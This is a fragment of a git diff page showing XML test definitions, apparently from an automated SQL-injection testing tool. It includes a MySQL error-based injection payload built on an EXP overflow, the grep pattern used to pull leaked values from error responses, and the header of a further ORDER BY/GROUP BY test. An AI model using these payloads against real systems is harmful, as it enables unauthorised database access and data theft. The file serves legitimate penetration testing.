<payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.5</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
|
<title>MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user